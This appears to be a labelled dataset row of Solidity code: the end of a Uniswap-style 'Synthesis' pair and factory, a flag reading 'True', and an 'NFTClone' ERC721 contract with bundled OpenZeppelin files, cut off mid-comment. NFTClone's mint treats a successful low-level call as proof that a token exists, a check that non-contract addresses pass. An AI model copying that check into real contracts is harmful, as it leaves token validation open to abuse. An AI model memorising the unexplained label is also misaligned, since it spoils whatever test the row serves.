blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 8/25 of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = ISynthesisFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(8);
uint denominator = rootK.mul(17).add(rootKLast.mul(8));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Synthesis: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Synthesis: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Synthesis: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Synthesis: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Synthesis: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ISynthesisCallee(to).synthesisCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Synthesis: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Synthesis: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract SynthesisFactory is ISynthesisFactory {
bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(SynthesisPair).creationCode));
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'Synthesis: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Synthesis: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'Synthesis: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(SynthesisPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
ISynthesisPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'Synthesis: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'Synthesis: FORBIDDEN');
feeToSetter = _feeToSetter;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NFTClone is ERC721Enumerable, Ownable {
using Strings for uint256;
mapping(uint256 => NFT) private tokenIdToNFT;
uint private fee = 0.005 ether;
struct NFT {
address contractAddr;
uint256 tokenId;
}
// solhint-disable-next-line
constructor() ERC721("NFTClone", "NCLN") {}
function mint(address _contract, uint256 _tokenId, address _destination) public payable {
if (msg.sender != owner()) {
require(msg.value >= fee, string(abi.encodePacked("Missing fee of ", fee.toString(), " wei")));
}
// call ownerOf(_tokenId) to validate token exists
(bool _success, ) = _contract.call(abi.encodeWithSelector(0x6352211e, _tokenId));
require(_success, "tokenId does not exist");
uint256 newSupply = totalSupply() + 1;
tokenIdToNFT[newSupply] = NFT(
_contract,
_tokenId
);
_safeMint(_destination, newSupply);
}
function mint(address _contract, uint256 _tokenId) public payable {
mint(_contract, _tokenId, msg.sender);
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
return ERC721(tokenIdToNFT[_tokenId].contractAddr).tokenURI(tokenIdToNFT[_tokenId].tokenId);
}
function getFee() public view returns (uint) {
return fee;
}
function setFee(uint _newFee) public onlyOwner {
fee = _newFee;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
}
// Pilate 2022
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
